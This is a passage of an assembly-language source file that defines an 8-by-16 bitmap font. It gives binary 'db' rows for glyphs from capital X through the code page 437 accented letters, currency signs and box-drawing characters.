01010100b db 01010100b db 01010100b db 00101000b db 00101000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph58: ; Latin Capital Letter X db 00000000b db 00000000b db 10000010b db 01000100b db 00101000b db 00010000b db 00010000b db 00101000b db 01000100b db 10000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph59: ; Latin Capital Letter Y db 00000000b db 00000000b db 10000010b db 10000010b db 01000100b db 00101000b db 00010000b db 00010000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph5A: ; Latin Capital Letter Z db 00000000b db 00000000b db 11111100b db 00000100b db 00001000b db 00010000b db 00100000b db 01000000b db 10000000b db 11111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph5B: ; Left Square Bracket db 00011100b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00011100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph5C: ; Reverse Solidus db 01000000b db 01000000b db 00100000b db 00100000b db 00010000b db 00010000b db 00010000b db 00001000b db 00001000b db 00000100b db 00000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph5D: ; Right Square Bracket db 01110000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 01110000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph5E: ; Circumflex Accent db 00000000b db 00000000b db 00010000b db 00101000b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph5F: ; Low Line db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111110b db 00000000b db 00000000b db 00000000b Glyph60: ; Grave Accent db 00100000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph61: ; Latin Small Letter A db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 00000100b db 00111100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph62: ; Latin Small Letter B db 00000000b db 00000000b db 01000000b db 01000000b db 01111000b db 01000100b db 01000100b db 01000100b db 01000100b db 01111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph63: ; Latin Small Letter C db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 01000100b db 01000000b db 01000000b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph64: ; Latin Small Letter D db 00000000b db 00000000b db 00000100b db 00000100b db 00111100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph65: ; Latin Small Letter E db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 01000100b db 01111100b db 01000000b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph66: ; Latin Small Letter F db 00000000b db 00000000b db 00001100b db 00010000b db 00111100b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph67: ; Latin Small Letter G db 00000000b db 00000000b db 00000000b db 00000000b db 00111100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111100b db 00000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b Glyph68: ; Latin Small Letter H db 00000000b db 00000000b db 01000000b db 01000000b db 01111000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph69: ; Latin Small Letter I db 00000000b db 00010000b db 00000000b db 00000000b db 00110000b db 00010000b db 00010000b db 00010000b db 00010000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph6A: ; Latin Small Letter J db 00000000b db 00010000b db 00000000b db 00000000b db 00110000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 01100000b db 00000000b db 00000000b db 00000000b Glyph6B: ; Latin Small Letter K db 00000000b db 00000000b db 01000000b db 01000000b db 01001000b db 01010000b db 01100000b db 01010000b db 01001000b db 01001000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph6C: ; Latin Small Letter L db 00000000b db 00000000b db 01110000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00001100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph6D: ; Latin Small Letter M db 00000000b db 00000000b db 00000000b db 00000000b db 01111000b db 01010100b db 01010100b db 01010100b db 01010100b db 01010100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph6E: ; Latin Small Letter N db 00000000b db 00000000b db 00000000b db 00000000b db 01111000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph6F: ; Latin Small Letter O db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph70: ; Latin Small Letter P db 00000000b db 00000000b db 00000000b db 00000000b db 01111000b db 01000100b db 01000100b db 01000100b db 01000100b db 01111000b db 01000000b db 01000000b db 01000000b db 00000000b db 00000000b db 00000000b Glyph71: ; Latin Small Letter Q db 00000000b db 00000000b db 00000000b db 00000000b db 00111100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111100b db 00000100b db 00000100b db 00000100b db 00000000b db 00000000b db 00000000b Glyph72: ; Latin Small Letter R db 00000000b db 00000000b db 00000000b db 00000000b db 01011000b db 01100100b db 01000000b db 01000000b db 01000000b db 01000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph73: ; Latin Small Letter S db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 01000000b db 00111000b db 00000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph74: ; Latin Small Letter T db 00000000b db 00000000b db 00010000b db 00010000b db 01111100b db 00010000b db 00010000b db 00010000b db 00010000b db 00001100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph75: ; Latin Small Letter U db 00000000b db 00000000b db 00000000b db 00000000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph76: ; Latin Small Letter V db 00000000b db 00000000b db 00000000b db 00000000b db 01000100b db 01000100b db 00101000b db 00101000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph77: ; Latin Small Letter W db 00000000b db 00000000b db 00000000b db 00000000b db 10000010b db 10000010b db 01010100b db 01010100b db 00101000b db 00101000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph78: ; Latin Small Letter X db 00000000b db 00000000b db 00000000b db 00000000b db 01000100b db 00101000b db 00010000b db 00010000b db 00101000b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph79: ; Latin Small Letter Y db 00000000b db 00000000b db 00000000b db 00000000b db 01000100b db 01000100b db 00101000b db 00101000b db 00101000b db 00010000b db 00010000b db 00010000b db 01100000b db 00000000b db 00000000b db 00000000b Glyph7A: ; Latin Small Letter Z db 00000000b db 00000000b db 00000000b db 00000000b db 01111100b db 00000100b db 00001000b db 00010000b db 00100000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph7B: ; Left Curly Bracket db 00001100b db 00010000b db 00010000b db 00010000b db 00010000b db 00100000b db 00010000b db 00010000b db 00010000b db 00010000b db 00001100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph7C: ; Vertical Line db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph7D: ; Right Curly Bracket db 01100000b db 00010000b db 00010000b db 00010000b db 00010000b db 00001000b db 00010000b db 00010000b db 00010000b db 00010000b db 01100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph7E: ; Tilde db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 01100000b db 10010010b db 00001100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph7F: ; Delete db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph80: ; Latin Capital Letter C With Cedilla db 00000000b db 00000000b db 00111000b db 01000100b db 10000000b db 10000000b db 10000000b db 10000000b db 01000100b db 00111000b db 00010000b db 00110000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph81: ; Latin Small Letter U With Diaeresis db 00000000b db 00000000b db 00101000b db 00000000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph82: ; Latin Small Letter E With Acute db 00000000b db 00001000b db 00010000b db 00000000b db 00111000b db 01000100b db 01111100b db 01000000b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph83: ; Latin Small Letter A With Circumflex db 00000000b db 00010000b db 00101000b db 00000000b db 00111000b db 00000100b db 00111100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph84: ; Latin Small Letter A With Diaeresis db 00000000b db 00000000b db 00101000b db 00000000b db 00111000b db 00000100b db 00111100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph85: ; Latin Small Letter A With Grave db 00000000b db 00100000b db 00010000b db 00000000b db 00111000b db 00000100b db 00111100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph86: ; Latin Small Letter A With Ring Above db 00010000b db 00101000b db 00010000b db 00000000b db 00111000b db 00000100b db 00111100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph87: ; Latin Small Letter C With Cedilla db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 01000100b db 01000000b db 01000000b db 01000100b db 00111000b db 00001000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph88: ; Latin Small Letter E With Circumflex db 00000000b db 00010000b db 00101000b db 00000000b db 00111000b db 01000100b db 01111100b db 01000000b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph89: ; Latin Small Letter E With Diaeresis db 00000000b db 00000000b db 00101000b db 00000000b db 00111000b db 01000100b db 01111100b db 01000000b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph8A: ; Latin Small Letter E With Grave db 00000000b db 00100000b db 00010000b db 00000000b db 00111000b db 01000100b db 01111100b db 01000000b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph8B: ; Latin Small Letter I With Diaeresis db 00000000b db 00000000b db 00101000b db 00000000b db 00110000b db 00010000b db 00010000b db 00010000b db 00010000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph8C: ; Latin Small Letter I With Circumflex db 00000000b db 00010000b db 00101000b db 00000000b db 00110000b db 00010000b db 00010000b db 00010000b db 00010000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph8D: ; Latin Small Letter I With Grave db 00000000b db 00100000b db 00010000b db 00000000b db 00110000b db 00010000b db 00010000b db 00010000b db 00010000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph8E: ; Latin Capital Letter A With Diaeresis db 00010000b db 00101000b db 00010000b db 00101000b db 00101000b db 01000100b db 01000100b db 11111110b db 10000010b db 10000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph8F: ; Latin Capital Letter A With Ring Above db 00101000b db 00000000b db 00010000b db 00101000b db 00101000b db 01000100b db 01000100b db 11111110b db 10000010b db 10000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph90: ; Latin Capital Letter E With Acute db 00001000b db 00010000b db 01111100b db 01000000b db 01000000b db 01111100b db 01000000b db 01000000b db 01000000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph91: ; Latin Small Letter Ae db 00000000b db 00000000b db 00000000b db 00000000b db 01101100b db 00010010b db 01111110b db 10010000b db 10010010b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph92: ; Latin Capital Letter Ae db 00000000b db 00000000b db 00111110b db 01010000b db 01010000b db 01111110b db 10010000b db 10010000b db 10010000b db 10011110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph93: ; Latin Small Letter O With Circumflex db 00000000b db 00010000b db 00101000b db 00000000b db 00111000b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph94: ; Latin Small Letter O With Diaeresis db 00000000b db 00000000b db 00101000b db 00000000b db 00111000b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph95: ; Latin Small Letter O With Grave db 00000000b db 00100000b db 00010000b db 00000000b db 00111000b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph96: ; Latin Small Letter U With Circumflex db 00000000b db 00010000b db 00101000b db 00000000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph97: ; Latin Small Letter U With Grave db 00000000b db 00100000b db 00010000b db 00000000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph98: ; Latin Small Letter Y With Diaeresis db 00000000b db 00000000b db 00101000b db 00000000b db 01000100b db 01000100b db 00101000b db 00101000b db 00101000b db 00010000b db 00010000b db 00010000b db 01100000b db 00000000b db 00000000b db 00000000b Glyph99: ; Latin Capital Letter O With Diaeresis db 00101000b db 00000000b db 00111000b db 01000100b db 10000010b db 10000010b db 10000010b db 10000010b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph9A: ; Latin Capital Letter U With Diaeresis db 00101000b db 00000000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph9B: ; Cent Sign db 00000000b db 00000100b db 00000100b db 00111000b db 01001100b db 01010000b db 01010000b db 01010100b db 00111000b db 00100000b db 01000000b db 01000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph9C: ; Pound Sign db 00000000b db 00000000b db 00011100b db 00100000b db 00100000b db 01111000b db 00100000b db 00100000b db 00100000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph9D: ; Yen Sign db 00000000b db 00000000b db 10000010b db 10000010b db 01000100b db 00101000b db 01111100b db 00010000b db 01111100b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph9E: ; Peseta Sign db 00000000b db 00000000b db 11000000b db 10100000b db 10100000b db 11000000b db 10010011b db 10111110b db 10010011b db 10001110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph9F: ; Latin Small Letter F With Hook db 00000000b db 00001100b db 00010000b db 00010000b db 00111000b db 00010000b db 00010000b db 00010000b db 00010000b db 01100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA0: ; Latin Small Letter A With Acute db 00000000b db 00001000b db 00010000b db 00000000b db 00111000b db 00000100b db 00111100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA1: ; Latin Small Letter I With Acute db 00000000b db 00001000b db 00010000b db 00000000b db 00110000b db 00010000b db 00010000b db 00010000b db 00010000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA2: ; Latin Small Letter O With Acute db 00000000b db 00001000b db 00010000b db 00000000b db 00111000b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA3: ; Latin Small Letter U With Acute db 00000000b db 00001000b db 00010000b db 00000000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA4: ; Latin Small Letter N With Tilde db 00000000b db 00110100b db 01011000b db 00000000b db 01111000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA5: ; Latin Capital Letter N With Tilde db 00110100b db 01011000b db 01000010b db 01100010b db 01010010b db 01001010b db 01000110b db 01000010b db 01000010b db 01000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA6: ; Feminine Ordinal Indicator db 00111000b db 00000100b db 00111100b db 01000100b db 00111100b db 00000000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA7: ; Masculine Ordinal Indicator db 00111000b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphA8: ; Inverted Question Mark db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00001000b db 00001000b db 00000000b db 00001000b db 00001000b db 00010000b db 00100000b db 00100010b db 00011100b db 00000000b GlyphA9: ; Reversed Not Sign db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111110b db 10000000b db 10000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphAA: ; Not Sign db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111110b db 00000010b db 00000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphAB: ; Vulgar Fraction One Half db 01000100b db 01000100b db 01001000b db 01001000b db 00010000b db 00010000b db 00010000b db 00100110b db 00100010b db 01000100b db 01000110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphAC: ; Vulgar Fraction One Quarter db 01000100b db 01000100b db 01001000b db 01001000b db 00010000b db 00010000b db 00010000b db 00100110b db 00100110b db 01000010b db 01000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphAD: ; Inverted Exclamation Mark db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00010000b db 00010000b db 00000000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphAE: ; Left-Pointing Double Angle Quotation Mark db 00000000b db 00000000b db 00000000b db 00100100b db 01001000b db 10010000b db 01001000b db 00100100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphAF: ; Right-Pointing Double Angle Quotation Mark db 00000000b db 00000000b db 00000000b db 01001000b db 00100100b db 00010010b db 00100100b db 01001000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphB0: ; Light Shade db 10001000b db 00000000b db 00100010b db 00000000b db 10001000b db 00000000b db 00100010b db 00000000b db 10001000b db 00000000b db 00100010b db 00000000b db 10001000b db 00000000b db 00100010b db 00000000b GlyphB1: ; Medium Shade db 10101010b db 01010101b db 10101010b db 01010101b db 10101010b db 01010101b db 10101010b db 01010101b db 10101010b db 01010101b db 10101010b db 01010101b db 10101010b db 01010101b db 10101010b db 01010101b GlyphB2: ; Dark Shade db 01110111b db 11111111b db 11011101b db 11111111b db 01110111b db 11111111b db 11011101b db 11111111b db 01110111b db 11111111b db 11011101b db 11111111b db 01110111b db 11111111b db 11011101b db 11111111b GlyphB3: ; Box Drawings Light Vertical db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphB4: ; Box Drawings Light Vertical And Left db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 11110000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphB5: ; Box Drawings Vertical Single And Left Double db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 11110000b db 00010000b db 11110000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphB6: ; Box Drawings Vertical Double And Left Single db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 11101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphB7: ; Box Drawings Down Double And Left Single db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphB8: ; Box Drawings Down Single And Left Double db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11110000b db 00000000b db 11110000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphB9: ; Box Drawings Double Vertical And Left db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 11101000b db 00001000b db 11101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphBA: ; Box Drawings Double Vertical db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphBB: ; Box Drawings Double Down And Left db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111000b db 00001000b db 11101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphBC: ; Box Drawings Double Up And Left db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 11101000b db 00001000b db 11111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphBD: ; Box Drawings Up Double And Left Single db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 11101000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphBE: ; Box Drawings Up Single And Left Double db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 11110000b db 00000000b db 11110000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphBF: ; Box Drawings Light Down And Left db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11110000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphC0: ; Box Drawings Light Up And Right db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00011111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphC1: ; Box Drawings Light Up And Horizontal db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphC2: ; Box Drawings Light Down And Horizontal db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphC3: ; Box Drawings Light Vertical And Right db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00011111b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphC4: ; Box Drawings Light Horizontal db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphC5: ; Box Drawings Light Vertical And Horizontal db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 11111111b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphC6: ; Box Drawings Vertical Single And Right Double db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00011111b db 00000000b db 00011111b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphC7: ; Box Drawings Vertical Double And Right Single db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101111b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphC8: ; Box Drawings Double Up And Right db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101111b db 00100000b db 00111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphC9: ; Box Drawings Double Down And Right db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00111111b db 00100000b db 00101111b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphCA: ; Box Drawings Double Up And Horizontal db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 11101111b db 00000000b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphCB: ; Box Drawings Double Down And Horizontal db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 00000000b db 11101111b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphCC: ; Box Drawings Double Vertical And Right db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101111b db 00100000b db 00101111b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphCD: ; Box Drawings Double Horizontal db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 00000000b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphCE: ; Box Drawings Double Vertical And Horizontal db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 11101111b db 00000000b db 11101111b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphCF: ; Box Drawings Up Single And Horizontal Double db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 11111111b db 00000000b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphD0: ; Box Drawings Up Double And Horizontal Single db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphD1: ; Box Drawings Down Single And Horizontal Double db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 00000000b db 11111111b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphD2: ; Box Drawings Down Double And Horizontal Single db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphD3: ; Box Drawings Up Double And Right Single db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphD4: ; Box Drawings Up Single And Right Double db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00011111b db 00000000b db 00011111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphD5: ; Box Drawings Down Single And Right Double db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011111b db 00000000b db 00011111b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphD6: ; Box Drawings Down Double And Right Single db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00101111b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphD7: ; Box Drawings Vertical Double And Horizontal Single db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 11101111b db 00101000b db 00101000b db 